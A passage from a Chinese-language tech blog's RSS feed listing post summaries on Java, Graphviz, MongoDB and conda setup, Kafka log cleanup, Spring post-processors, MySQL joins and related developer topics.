      <description>每天早上七点三十，准时推送干货&#xA;今天是六一儿童节，各位大朋友们每天也要开开心心哦~&#xA;最近，阿粉在一个业务改造中，使用三目运算符重构了业务代码，没想到测试的时候竟然发生 NPE 的问题。&#xA;重构代码非常简单，代码如下：&#xA;// 方法返回参数类型为 Integer // private Integer code; SimpleObj simpleObj = new SimpleObj(); // 其他业务逻辑 if (simpleObj == null) { return -1; } else { return simpleObj.getCode(); } 这段 if 判断，阿粉看到的时候，感觉很是繁琐，于是使用三目运算符重构了一把，代码如下：&#xA;// 方法返回参数类型为 Integer SimpleObj simpleObj = new SimpleObj(); // 其他业务逻辑 return simpleObj == null ? -1 : simpleObj.getCode(); 测试的时候，第四行代码抛出了空指针，这里代码很简单，显然只有 simpleObj#getCode才有可能发生 NPE 问题。&#xA;但是我明明为 simpleObj做过判空判断，simpleObj 对象肯定不是 null，那么只有 simpleObj#getCode 返回为 null。但是我的代码并没有对这个方法返回值做任何操作，为何会触发 NPE？&#xA;难道是又是自动拆箱导致的 NPE 问题？</description>
    </item>
    <item>
      <title>graphviz安装与python中的调用（Windows版本）</title>
      <link>https://bchobby.github.io/posts/79ee42c608862ec8812b30b9c8e9eb9f/</link>
      <pubDate>Mon, 01 Jun 2020 01:01:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79ee42c608862ec8812b30b9c8e9eb9f/</guid>
      <description>graphviz安装与python调用 安装 Graphviz验证 graphviz 是否安装成功基本绘图入门 python 使用 graphviz 注： graphviz 包的安装问题&#xA;graphviz这个包，使用 pip install graphviz 安装后是不行的，这只安装了graphviz的pyhon调用接口，使用的话还需要下载graphviz的安装文件。&#xA;在决策树模型的部署中，使用sklearn库提供的现成方案是省事的方法，但为对其进行可视化操作，使用pydotplus-Graphviz库必不可少-如何正常使用该库给我造成了一些困扰。&#xA;目标是决策树模型的绘制，最终输出如图：&#xA;安装 Graphviz Graphviz 是一个开源工具，可以运行在类似于 UNIX® 的大多数平台和 Microsoft® Windows® 之上。适用于大多数平台的二进制文件可以在 Graphviz 主页 上找到。AIX 二进制文件可以在 perzl.org上找到。&#xA;下载地址：&#xA;https://graphviz.gitlab.io/_pages/Download/Download_windows.html 由于上述网站为外网，访问下载需要较长时间，可以选择以下地址选择安装包下载&#xA;将graphviz安装目录下的bin文件夹添加到Path环境变量中&#xA;验证 graphviz 是否安装成功 进入windows命令行界面，输入 dot -version 然后按回车，如果显示graphviz的相关版本信息，则安装配置成功。&#xA;基本绘图入门 (一)、打开graphviz安装文件中，找到编辑器gvedit，&#xA;编写如下的dot脚本语言，保存成gv格式文本文件。然后进入命令行界面，使用dot命令，将gv文件转化为png图形文件。&#xA;dot D:\graphviz_file\graph1.gv -Tpng -o image.png （二）、可以不用命令，直接使用IDE带的功能导出图片&#xA;点击 File -&amp;gt; New . 进行编码后点击红色方框可以输出图片&#xA;digraph G{ size = &#34;5, 5&#34;;//图片大小 main[shape=box];/*形状*/ main-&amp;gt;parse; parse-&amp;gt;execute; main-&amp;gt;init[style = dotted];//虚线 main-&amp;gt;cleanup; edge[color = green]; // 连接线的颜色 execute-&amp;gt;{make_string; printf}//连接两个 init-&amp;gt;make_string; main-&amp;gt;printf[style=bold, label=&#34;</description>
    </item>
    <item>
      <title>贪心算法求解最大安排相容活动个数，时间管理符合最优解求法</title>
      <link>https://bchobby.github.io/posts/5206719bdaabc806e8173489f2c482d1/</link>
      <pubDate>Mon, 01 Jun 2020 00:41:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5206719bdaabc806e8173489f2c482d1/</guid>
      <description>问题描述： 假设有n个活动的集合E={a1,a2,…,an}，其每个活动都要求使用同一资源（如某个设备、教室、场地等），而在同一时间内只允许一个活动使用这一资源。&#xA;每个活动都有一个要求使用该资源的起止时间si,fi，且si&amp;lt;fi。如果选择了活动ai，则它在半开的时间区间[si,fi)内占有资源。两个活动ai,aj称为是相容的，当且仅当它们的时间区间[si,fi)和[sj,fj)不相交，即si&amp;gt;=fj 或 sj &amp;gt;=fi。现要求在所给定的活动集中选出最大的相容活动子集。（提示：贪心策略）&#xA;主函数已经给出， 请补充 Sort 和 Select 函数。 答案区只提交两个函数代码，不允许补充或修改其他代码！&#xA;#define Maxn 100&#xA;//定义活动的类型&#xA;typedef struct act_Node&#xA;{ int Id; //活动ID&#xA;int s_Time; //活动开始时间&#xA;int f_Time; //活动结束时间&#xA;} ACND;&#xA;// ******** Sort 函数 **********&#xA;// ******** Select 函数 **********&#xA;int main()&#xA;{ ACND arr[Maxn];&#xA;int an,i;&#xA;cin&amp;gt;&amp;gt;an; //读入活动个数&#xA;//读入各个活动的编号和占用资源的起止时间&#xA;for(i=0;i&amp;lt;an;i++)&#xA;cin&amp;gt;&amp;gt;arr[i].Id&amp;gt;&amp;gt;arr[i].s_Time&amp;gt;&amp;gt;arr[i].f_Time;&#xA;Sort(an,arr);&#xA;Select(an,arr);&#xA;return 0;&#xA;}&#xA;输入，有多行，第1行是活动的个数n，后面n行，每行3个整数，是每个活动的编号、占用资源的开始时间、结束时间&#xA;输出，选出的最大活动子集，即有多行，每行包括活动的编号、开始时间、结束时间。&#xA;例如:&#xA;输入：&#xA;11&#xA;1 3 8&#xA;2 2 13</description>
    </item>
    <item>
      <title>CentOS 7上安装MongoDB</title>
      <link>https://bchobby.github.io/posts/2bf52388a595983af5e6fa454573ef08/</link>
      <pubDate>Sun, 31 May 2020 21:45:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2bf52388a595983af5e6fa454573ef08/</guid>
      <description>博客项目使用数据库为mongodb，此章介绍在centos 7 上安装mongodb&#xA;安装 配置包管理系统yum 进入linux环境中输入&#xA;vim /etc/yum.repos.d/mongodb-org-4.2.repo 写入&#xA;[mongodb-org-4.2] name=MongoDB Repository baseurl=https://repo.mongodb.org/yum/redhat/$releasever/mongodb-org/4.2/x86_64/ gpgcheck=1 enabled=1 gpgkey=https://www.mongodb.org/static/pgp/server-4.2.asc 安装MongoDB yum install -y mongodb-org 或&#xA;yum install -y mongodb-org-4.2.6 mongodb-org-server-4.2.6 mongodb-org-shell-4.2.6 mongodb-org-mongos-4.2.6 mongodb-org-tools-4.2.6 文件夹路径 如果使用 yum 进行安装，则默认创建以下文件夹 /var/lib/mongo (the data directory) /var/log/mongodb (the log directory) 如果使用压缩包，也就是以下方式进行安装，则需要手动创建 data 和 log 文件夹 wget https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-4.0.0.tgz 启动，重启，关闭 开启服务&#xA;systemctl start mongod&#xA;关闭服务&#xA;systemctl stop mongod&#xA;重启服务&#xA;systemctl restart mongod&#xA;开机启动&#xA;systemctl enable mongod&#xA;移除MongoDB service mongod stopyum erase $(rpm -qa | grep mongodb-org)rm -r /var/log/mongodbrm -r /var/lib/mongo 安全策略 连接 mongo 或 mongo mongodb://localhost:27017 没有进行验证，任何人都可以连接到咱们数据库，进行一些操作，显然不安全</description>
    </item>
    <item>
      <title>anaconda快速切换python环境</title>
      <link>https://bchobby.github.io/posts/3cd0a30dc27559aa74df125bf8991ac3/</link>
      <pubDate>Sun, 31 May 2020 17:19:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3cd0a30dc27559aa74df125bf8991ac3/</guid>
      <description>conda常用命令 # cmd查看 conda info -e # 创建环境 conda create -n python38 python=3.8 # 删除环境 conda remove -n python38 --all # 进入环境 activate python38 # 退出环境，关掉窗口也能自动退出 deactivate python38 # 管理python包 conda list # 在python环境里安装包 conda install -n python38 xx # 更新conda，慎重！新版本可能跟操作系统不兼容 conda update conda win10安装 官网下载傻瓜式安装，最后勾选添加到环境变量&#xA;centos安装 # 下载 wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2019.03-Linux-x86_64.sh # 安装，一路yes sh Anaconda3-2019.03-Linux-x86_64.sh # 最后一步问是否添加到环境变量一定要打个yes，不能直接回车。。。不然就看下一步手动添加环境变量 Python 3.6.0 :: Continuum Analytics, Inc. creating default environment... installation finished. Do you wish the installer to prepend the Anaconda3 install location to PATH in your /home/hanbairu/.</description>
    </item>
    <item>
      <title>博客评论插件 Beaudar(表达)</title>
      <link>https://bchobby.github.io/posts/613fca45ef7143593163be993f32ed21/</link>
      <pubDate>Sun, 31 May 2020 16:33:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/613fca45ef7143593163be993f32ed21/</guid>
      <description>很多人的博客都会有评论功能。对于大多数静态博客来说，评论是读者与博主建立联系的唯一桥梁。&#xA;被广泛使用的评论插件是 Disqus，遗憾国外 UCG (用户自产内容)基本上都被墙了，国内还没看到有与其同样优秀的。&#xA;我使用过 Wildfire 🔥，UI很不错，但是要用 Firebase ，在国内很不稳定，用了一段时间后发现使用 Github issue 的 Utterances 非常轻便快速，然后开始使用 Utterances。&#xA;当然类似的项目，国内有：&#xA;GitalkVssueGitment（貌似已经不再维护） 除了以上提到的，国内被广泛使用的，还有 Valine，使用了 Gravatar 作为用户图像，评论只需要提供 Gravatar 账号设置的邮箱，非常方便。&#xA;但是还是觉得 utterances 的实现比较好，但是没有多语言是个缺陷。索性把它的源码拿来自己改成中文的了。&#xA;于是，就有了 Beaudar(表达)。&#xA;我使用的是“Issue 标题包含页面标题”的版本，另外还有五个模式任君选择。引用代码可以在线生成。也可以参考我下方给出的代码片段，在引用时，我增加了模式切换提示，及加载的状态。&#xA;完整的代码片段在 这里查看。&#xA;/** * 在 #beaudar 处，append 评论的 script */ function addBeaudar() { // 显示加载状态 var loading = document.getElementById(&#39;loading&#39;); loading.style.display = &#39;flex&#39;; var script = document.createElement(&#39;script&#39;); var beaudar = document.getElementById(&#39;beaudar&#39;); script.src = &#39;https://beaudar.lipk.org/client.js&#39;; script.setAttribute(&#39;repo&#39;, &#39;zsdycs/lipk.org&#39;); script.setAttribute(&#39;issue-term&#39;, &#39;title&#39;); script.setAttribute(&#39;crossorigin&#39;, &#39;anonymous&#39;); if (window.</description>
    </item>
    <item>
      <title>gist.github无法访问解决方法及hosts文件格式变为.txt问题解决</title>
      <link>https://bchobby.github.io/posts/45f07c7302e071c1d41653eb1356ae25/</link>
      <pubDate>Sun, 31 May 2020 16:16:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45f07c7302e071c1d41653eb1356ae25/</guid>
      <description>1、gist.github无法访问 打开系统hosts文件，滑到最下方，回车另起一行添加以下两行内容：&#xA;192.30.253.118 gist.github.com&#xA;192.30.253.119 gist.github.com&#xA;保存后win系统打开cmd。尝试ping 192.30.253.118，如果能ping通，就可以正常访问了&#xA;hosts文件路径：&#xA;win系统在c:/windows/system32/drivers/etc/hosts目录下&#xA;hosts文件打开修改方式：&#xA;右键-打开方式-记事本打开即可&#xA;或下一个Notepad++，右键-Edit with Notepad++&#xA;2、hosts文件格式问题 系统中最原始的hosts文件应为无格式文件，即名称全称为hosts，若发现为hosts.txt等带有格式后缀的文件，则按上方步骤修改内部内容不会生效，原因可能是你在之前使用过加速器或者用第三方软件修改过hosts文件导致。&#xA;此时应在电脑桌面再新建一个txt文本文档，其中复制粘贴入以下原版内容（或复制hosts.txt错误格式文件中的内容）并保存，再手动在桌面删去后面的.txt使其变成无格式文件，然后拖动至etc文件夹中选择覆盖，最后删掉一切其他带格式的hosts文件。&#xA;注：为什么不直接删去原本的.txt后缀，是因为hosts文件并不是真的没有，而是好像以某种形式还存在，显示隐藏文件也看不见的那种，当修改后缀后，系统会默认问你是不是名称要修改为host(1)。不会让你直接覆盖的。所以要在桌面上先搞一个hosts文件，然后拖拽进来，才会提示是否覆盖，选择覆盖就会生效。&#xA;# Copyright (c) 1993-2009 Microsoft Corp.&#xA;#&#xA;# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.&#xA;#&#xA;# This file contains the mappings of IP addresses to host names. Each&#xA;# entry should be kept on an individual line. The IP address should&#xA;# be placed in the first column followed by the corresponding host name.</description>
    </item>
    <item>
      <title>kafka日志清理策略，compact和delete</title>
      <link>https://bchobby.github.io/posts/70a36d036ec1d283decbd2b8abb4f40a/</link>
      <pubDate>Sun, 31 May 2020 11:28:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70a36d036ec1d283decbd2b8abb4f40a/</guid>
      <description>文章目录 1. kafka日志清理策略概述2. kafka segment2.1 segmnet 的作用2.2 segment生成相关的配置 3. 日志清理delete策略3.1 delete 相关配置3.2 简单总结 4. 日志清理compact策略4.1 日志compact的使用场景4.2 compact的工作模式4.3 tombstone 消息4.4 低流量topic的注意事项4.5 简单总结compact的配置 5. kafka创建修改topic的命令5.1. 创建topic的时候指定配置5.2 topic创建时忘了设置，修改方式5.3 查看你的配置 1. kafka日志清理策略概述 kafka log的清理策略有两种：delete,compact,默认是delete&#xA;这个对应了kafka中每个topic对于record的管理模式&#xA;delete：一般是使用按照时间保留的策略，当不活跃的segment的时间戳是大于设置的时间的时候，当前segment就会被删除compact: 日志不会被删除，会被去重清理，这种模式要求每个record都必须有key，然后kafka会按照一定的时机清理segment中的key，对于同一个key只保留罪行的那个key.同样的，compact也只针对不活跃的segment&#xA;配置为 cleanup.policy: delete cleanup.policy: compact 如果没有特殊说明，本文中的配置均为kafka-1.1, 且为topic级别是设置&#xA;2. kafka segment 在学习日志清理策略之前，首先了解一下kafka是如何存储和管理日志的，因为他的管理都是基于segment的，所以有必要先了解清楚这个&#xA;segement的产生策略。&#xA;2.1 segmnet 的作用 kafka的日志存储和消费，对外的最小粒度是partion,也就是producer和consumer最小的选择粒度是某个topic的某些partition。每个partition又多个segment组成，这些segment一般是按照时间顺序产生的。在单个partition中只有一个处于active的segment，这个segment是正在写入的segment（假设为segmentA），当segmentA的大小达到一定的程度(或者是经过了一定的时长)，就会产生一个新的segmentB，这个时候segmentA就不再有数据写入了，变成了不活跃的segment，而segmentB就是当前Active的segment.日志清理的策略总是针对不活跃的segment进行的。 2.2 segment生成相关的配置 segment.bytes: 每个segment的大小，达到这个大小会产生新的segment, 默认是1Gsegment.ms: 配置每隔n ms产生一个新的segment,默认是168h,也就是7天 这两个配置是同时起作用的，那个条件先满足都会执行产生新的segment的动作&#xA;在这里，我们就需要注意，需要理解这两个配置在日志的不同场景下可能带来的影响，在下面介绍具体的日志清理策略的时候会再回来看这一块儿。&#xA;3. 日志清理delete策略 3.1 delete 相关配置 假如对某个topic（假设为user_topic）设置了 cleanup.policy: delete&#xA;那么当前topic使用的log删除策略就是 delete,这个策略会周期性的检查partion中的不活跃的segment，根据配置采用两种方式删除一些旧的segment.&#xA;retention.bytes: 总的segment的大小限制，达到这个限制后会删除旧的segment,默认值为-1，就是不会删除 retention.</description>
    </item>
    <item>
      <title>spring源码：九大后置处理器</title>
      <link>https://bchobby.github.io/posts/cb5d32fb1a46bec7815a95f634e890ea/</link>
      <pubDate>Sun, 31 May 2020 09:14:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb5d32fb1a46bec7815a95f634e890ea/</guid>
      <description>目的： spring在完成一个bean的初始化、实例化的过程中，会用到九个后置处理器；本文梳理出这九个后置处理器&#xA;九大后置处理器 spring在初始化的过程中，会在九个地方分别调用了五个后置处理的九个方法 第一次调用后置处理器org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory#resolveBeforeInstantiation InstantiationAwareBeanPostProcessor --&amp;gt; postProcessBeforeInstantiation方法&#xA;InstantiationAwareBeanPostProcessor的postProcessBeforeInstantiation方法可以返回任何类型，如果返回的对象不为null，就调用beanPostProcessor的postProcessAfterInitialization方法；如果返回null，就正常的执行流程;该后置处理器&#xA;在spring AOP当中，spring如果判断当前类100%不需要进行增强，会把这个bean放到一个map中，并将value置为false，那么在后面进行增强的时候，会排除这个map中的bean&#xA;第二次调用后置处理器，该后置处理器推断使用哪个构造函数来初始化bean对象 org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory#determineConstructorsFromBeanPostProcessors&#xA;InstantiationAwareBeanPostProcessor --&amp;gt; determineCandidateConstructors();推断使用哪个构造函数来初始化bean对象&#xA;在推断使用哪一个构造函数的时候，会首先判断当前构造函数是否有@Value和@Autowired注解，如果没有，那就校验当前构造方法对应的bean和传来的beanClass是否一样，如果是同一个，就把当前构造函数赋值给defaultConstructor 在第二次调用后置处理器的时候，会返回当前可用的构造函数，由此来决定，使用哪个构造函数来创建bean 都三次调用后置处理器 org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory#applyMergedBeanDefinitionPostProcessors&#xA;调用的是MergedBeanDefinitionPostProcessor --&amp;gt; postProcessMergedBeanDefinition 第三个后置处理器，是后面生命周期流程中的某些流程缓存一些meta信息&#xA;比如：在CommonAnnotationBeanPostProcessor和AutowiredAnnotationBeanPostProcessor的postProcessorMergedBeanDefinition的方法中，会调用finAutowiringMetadata和findResourceMetadata方法，将当前bean所依赖的bean(@Autowired和@Resource注解)存到一个map中，后面在进行属性注入的时候，会先从这个map中找当前bean依赖的bean有哪些，如果map中为空，就再查找要注入的属性有哪些&#xA;再比如：在CommonAnnotationBeanPostProcessor的这个方法中，将@PostConstrct和@PreDestroy注解对应的方法，缓存起来，在后面调用初始化的后置处理器的时候，先从这里存的map中找方法，找到，就直接执行即可&#xA;这些提前缓存的操作，都是在这个后置处理器完成的&#xA;第四次调用后置处理器 循环依赖 org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory#getEarlyBeanReference&#xA;SmartInstantiationAwareBeanPostProcessor --&amp;gt; getEarlyBeanReference 第四个后置处理器(把创建的对象 放到earlySingletonObjects，解决循环依赖的)，处理循环依赖问题会用到这个后置处理器&#xA;这里通过后置处理器，暴露出一个ObjectFactory（个人理解是一个bean工厂），可以完成bean的实例化等操作；这里的方法不会立即执行，只有执行到objectFactory.getObject()方法的时候，才会执行&#xA;第五次调用后置处理器 判断是否需要进行属性填充 org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory#populateBean–InstantiationAwareBeanPostProcessor–postProcessAfterInstantiation&#xA;调用的是InstantiationAwareBeanPostProcessor --&amp;gt; postProcessAfterInstantiation 第五个后置处理器(判断是否需要填充属性)&#xA;如果我们需要在程序中自己注入属性，可以利用这个点，在这里返回false，那么spring就不会调用下面这个后置处理器来注入属性&#xA;第六次调用后置处理器 进行属性注入 org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory#populateBean–InstantiationAwareBeanPostProcessor–postProcessPropertyValues&#xA;调用的是InstantiationAwareBeanPostProcessor --&amp;gt; postProcessPropertyValues 第六个(处理类的属性值)&#xA;主要是CommonAnnotationBeanPostProcessor(用来处理@Resource注解)和AutowiredAnnotationConigApplication(处理@Autowired和@Value注解)；如果是自动注入(AutowireMode不为null)，是无需通过后置处理器来进行属性注入的&#xA;第七次调用后置处理器 执行初始化方法 org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory#applyBeanPostProcessorsBeforeInitialization&#xA;调用的是BeanPostProcessor --&amp;gt; postProcessBeforeInitialization bean初始化方法&#xA;CommonAnnotationBeanPostProcessor 继承了 InitDestroyAnnotationBeanPostProcessor，在该后置处理器处理的是@postconstruct注解&#xA;第八次调用后置处理器 springAop org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory#applyBeanPostProcessorsAfterInitialization&#xA;调用的是BeanPostProcessor --&amp;gt; postProcessAfterInitialization bean初始化之后执行的方法,典型应用：对aop进行处理，对目标类生成代理对象</description>
    </item>
    <item>
      <title>pydotplus graphviz InvocationException  GraphViz s executables not found（虚拟环境中）</title>
      <link>https://bchobby.github.io/posts/4753805e14bc8b6474531928e6ea9644/</link>
      <pubDate>Sat, 30 May 2020 21:58:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4753805e14bc8b6474531928e6ea9644/</guid>
      <description>开始时，是pydot报错，&#xA;解决办法是:Lib\site-packages\keras\utils\vis_utils.py 中的pydot，全部都改成pydotplus。&#xA;然后运行还是报错：“pydotplus.graphviz.InvocationException: GraphViz&#39;s executables not found”。&#xA;解决办法如下：&#xA;1、在anaconda环境下安装，按照如下命令安装：&#xA;conda install pydotplus&#xA;conda install graphviz&#xA;2、虽然安装了这两个安装包，但是运行的时候还是报同样的错误。原来只安装graphviz这个python包还不够，还得需要安装GraphViz’s executables。Graphviz不是一个python tool，它是一个独立的软件。可以按照如下方法安装。&#xA;先下载：由于我在官网上没找到那个安装包，这个是在别人的博客上看到的。可供参考&#xA;链接：https://pan.baidu.com/s/1lnBmQspuBqzYevtPr1xuTQ 提取码：ioxf 双击 graphviz-2.38.msi 安装 3、将bin目录，放到系统环境变量中（我的电脑---鼠标右键-----属性，就可以看见下图。然后点击高级系统设置，将 “C:\Program Files (x86)\graphviz-2.38\bin ”）&#xA;4、将 graphviz-2.38\bin 下的所有文件都放到所在 anaconda 的虚拟环境的 Library\bin 中（我的是放在“D:\anaconda3\envs\python36_1\Library\bin”）&#xA;最后成功，亲测可用！</description>
    </item>
    <item>
      <title>三个表的全连接查询（多表联合查询）：替代full join</title>
      <link>https://bchobby.github.io/posts/b8dfe7965c8511624a17977e3de4e71f/</link>
      <pubDate>Sat, 30 May 2020 00:35:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8dfe7965c8511624a17977e3de4e71f/</guid>
      <description>（首先声明一下，本篇文章是要查询表的所有数据）&#xA;参考：https://blog.csdn.net/u012410733/article/details/63684663&#xA;在mysql中没有full join。我们可以使用union来达到目的。&#xA;三个数据表：bas_goods , pur_goods ，pur_provider&#xA;1.当两个表时实现左连接：&#xA;select * from bas_goods left join pur_goods on bas_goods.id=pur_goods.id 2.当两个表时实现右连接：&#xA;select * from bas_goods right join pur_goods on bas_goods.id=pur_goods.id 3.当两个表时实现全连接（full join不可行的情况）：&#xA;select * from bas_goods left join pur_goods on bas_goods.id=pur_goods.id union select * from bas_goods right join pur_goods on bas_goods.id=pur_goods.id 使用union 是自动去除重复项，若想保留重复项： union all&#xA;4.当三个表时实现左连接：&#xA;select * from bas_goods //需要几个表实现就加几条 left join pur_goods on bas_goods.id=pur_goods.id left join pur_provider on bas_goods.id=pur_provider.id 5.</description>
    </item>
    <item>
      <title>[TOOLS] 解决Verdi 无法打开部分波形</title>
      <link>https://bchobby.github.io/posts/43d979feb794ab0bd0d84c4bb09a3453/</link>
      <pubDate>Fri, 29 May 2020 21:59:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43d979feb794ab0bd0d84c4bb09a3453/</guid>
      <description>使用Verdi dump waveform经常会遇到部分信号无法打开，可尝试一下办法：&#xA;1. 查看filelist中是否加入-v ，如果加入-v 则把他删除； -v filename&#xA;Specifies a Verilog library file. VCS looks in this file for definitions of the module and UDP instances that VCS found in your source code, but for which it did not find the corresponding module or UDP definitions in your source code.&#xA;注：指定一个库文件，VCS会来这个文件中找源代码中例化的但在源代码中找不到的module，这里一个文件可以里面包含很多module。&#xA;-y directory&#xA;Specifies a Verilog library directory. VCS looks in the source files in this directory for definitions of the module and UDP instances that VCS found in your source code, but for which it did not find the corresponding module or UDP definitions in your source code.</description>
    </item>
    <item>
      <title>什么是服务治理？</title>
      <link>https://bchobby.github.io/posts/0dc402162d1472543da129c1bafc85e4/</link>
      <pubDate>Fri, 29 May 2020 09:49:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0dc402162d1472543da129c1bafc85e4/</guid>
      <description> 目录 服务治理的伟大目标实现目标要先解决问题四个问题（3W1H） 服务治理的解决方案 服务治理就像是白羊座宫殿，它是通向微服务架构圣殿的第一关，是所有微服务应用要考虑的第一个问题。本章将带大家深入浅出，从“提出问题-解决问题”的思路出发，让大家对服务治理领域的核心功能有个直观的感受。这就像相亲见姑娘的第一面，不求深入了解，但求心中有数，为后面的章节开一个好头。Let’s Go! 服务治理的伟大目标 服务治理这个名字乍一听很唬人，其实他很低调，能做的事情无非就是专治分布式系统各种不服。呦，你看这口气还挺大，既然牛已经吹出来了，那就先给自己定几个小目标吧！&#xA;高可用性&#xA;换成通俗易懂的说法就是**”当一只打不死的小强“**，在服务治理麾下的所有微服务节点，不论是被闪电击中还是被挖掘机铲断了电源，即使战至最后一个存活节点，服务治理框架也要保证服务的可用性。分布式调用&#xA;微服务的节点通常散落在不同的网络环境中，大型互联网公司甚至会使用两地三机房或跨洲际机房做异地容灾。这就要求服务治理框架具备在复杂网络环境下准确获知服务节点网络地址（IP，端口以及服务名称）的能力。作为服务消费者，就可以借助服务治理框架的精准制导能力，向服务节点发起请求。一只穿云箭，千军万马来相见。生命周期管理&#xA;万物都在轮回之中，在Spring的世界更是如此。微服务也把自己平凡而充实的一生，交给了服务治理框架，从服务上线、持续运行直到临终关怀，服务治理始终贯穿整个微服务生命周期。健康检查&#xA;微服务的节点都是任劳任怨的执行996，当然，如果一个节点因为任何原因不再能996的辛勤工作，那就不再是哥的兄弟了。服务治理框架要精准识别这些节点，将其从自己的兄弟会中剔除。 实现目标要先解决问题 目标和想法是美好的，但是现实里却没那么容易。为了实现这些小目标，我们必须解决眼前的几个大问题。&#xA;四个问题（3W1H） 假设我们把每个微服务集群比喻成一个武林门派，比如搜索服务就是“所罗门”，优惠券服务就是“卷莲门”，那么这个服务集群中的每个机器就相当于门下的一个弟子，而每个业务调用方就是一个前来踢馆的江湖高手。&#xA;中原武林浩如烟海，如何在茫茫人海中找到我想要挑战的那个人呢？服务治理框架，就是要帮这些踢馆的高手找到对应门派的精壮弟子进行切磋。在这个过程中服务治理要帮助踢馆高手翻过四座大山，实现最终目标，这就是四个需要服务治理框架来解决的问题，我们称之为3W1H。&#xA;Who are you&#xA;作为服务治理框架，我如何知道中原武林各门各派的众弟子(服务提供者)的信息，这里面的信息是他们行走江湖的独一无二的标识，包含三个维度：a) 名号-敢问你的IP和端口是什么 b) 门派 - 报上你的服务名称 c) 身体状况 - 服务当前是可用or下线状态决定了你是能打还是不能打。Where are you from&#xA;作为踢馆人（服务调用方），我如何知道这些武林人士（服务提供者）来自哪里？我又如何从服务治理框架手里拿到他们的地址，从而使我可以找到正确的人？How are you doing&#xA;服务治理框架需要时刻甄别这些门派弟子的身体情况，一旦某个弟子断了气，就要做出相应标识，并告知踢馆人，以防别人走了冤枉路，找到了地方却找不见人。When you die&#xA;有的门派弟子比较怂包，不敢应战，且主动请求下线。或者为了闭关修炼高级武功（系统升级重启），短时间内不在线，那么服务治理框架也要做出相应的回应，对主动下线的服务做清退处理。 服务治理的解决方案 为了解决前面提到的四个问题，服务治理领域祭出了六门独门武艺，用来解决这四个问题。在这一章节各位就当听个响，知道这些个武功路数的名称就好，后面的章节我们再来深入学习&#xA;Who are you - 服务注册 - 服务提供方自报家门Where are you from - 服务发现 - 服务消费者拉取注册数据How are you doing - 心跳检测，服务续约和服务剔除 一套由服务提供方和注册中心配合完成的去伪存真的过程When you die - 服务下线 - 服务提供方发起主动下线 </description>
    </item>
    <item>
      <title>ClickHouse常见问题及其解决方案</title>
      <link>https://bchobby.github.io/posts/d148620c78a944ae76d5c16c3cc486cb/</link>
      <pubDate>Fri, 29 May 2020 07:52:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d148620c78a944ae76d5c16c3cc486cb/</guid>
      <description>1 概述 在对ClickHouse进行分布表+复制表+zookeeper保证高可用的情况下进行性能测试时遇到如下坑，进行整理&#xA;2 分布表join问题Unknown identifier: LO_CUSTKEY, context:… 1.1 问题描述 SQL如下：&#xA;SELECT count(1) FROM performance.line_all AS c LEFT JOIN performance.customer_all AS l ON l.C_CUSTKEY = c.LO_CUSTKEY 执行该SQL报错如下：&#xA;Received exception from server (version 19.4.0): Code: 47. DB::Exception: Received from 10.0.0.50:9000. DB::Exception: Received from ambari04:9000, 10.0.0.54. DB::Exception: Unknown identifier: LO_CUSTKEY, context: query: &#39;LO_CUSTKEY&#39; required_names: &#39;LO_CUSTKEY&#39; source_tables: table_aliases: complex_aliases: masked_columns: array_join_columns: source_columns: . 根据报错信息可以不知道LO_CUSTKEY,这个连接字段&#xA;1.2 解决 分布表join，在on后的连接条件中，from后面跟的表的连接字段放在前面。修改SQL如下：&#xA;SELECT count(1) FROM performance.customer_all AS c LEFT JOIN performance.</description>
    </item>
    <item>
      <title>IDEA 中出现 java: 程序包javax.servlet不存在，java：程序包javax.servlet.annotation不存在等错误</title>
      <link>https://bchobby.github.io/posts/8f4265b0ceb8fd4a587a120e9491b6b3/</link>
      <pubDate>Thu, 28 May 2020 23:04:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f4265b0ceb8fd4a587a120e9491b6b3/</guid>
      <description>IntelliJ IDEA 版本信息：IntelliJ IDEA 2019.3.3 (Ultimate Edition) 出现的错误如图所示： 选择 file -&amp;gt; Project Strcture 转到如下页面： 根绝上图所标序号依次选择，弹出如下页面，在Tomcat解压文件夹下选择lib文件找到servlet-api.jar选中，点击OK，如图所示：&#xA;应用该包，如图所示，点击Apply即可;</description>
    </item>
    <item>
      <title>Microsoft.Data.Sqlite和System.Data.SQLite的区别和优劣</title>
      <link>https://bchobby.github.io/posts/8f768ebc1e1299fe635e4e13917c0e8e/</link>
      <pubDate>Thu, 28 May 2020 22:25:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f768ebc1e1299fe635e4e13917c0e8e/</guid>
      <description>System.Data.SQLite是sqlite官方实现的ado.net。据说已经不更新了，但我看最新的包是2020年4月份。&#xA;Microsoft.Data.Sqlite是微软官方实现的ado.net。&#xA;两者的接口类似但Microsoft.Data.Sqlite没有实现SQLiteDataAdapter。不知道怎么往dataset中装，所以我还是使用了System.Data.SQLite。&#xA;另外，System.Data.SQLite需要SQLite.Interop.dll，不知道Microsoft.Data.Sqlite能否不需要。&#xA;SQLite.Interop.dll最好需要两个目录x86和x64。</description>
    </item>
    <item>
      <title>SpringCloud核心组件介绍 (Netflix &#43; Alibaba套件)</title>
      <link>https://bchobby.github.io/posts/4d3f8a945084f3ffbf7209599822b2d6/</link>
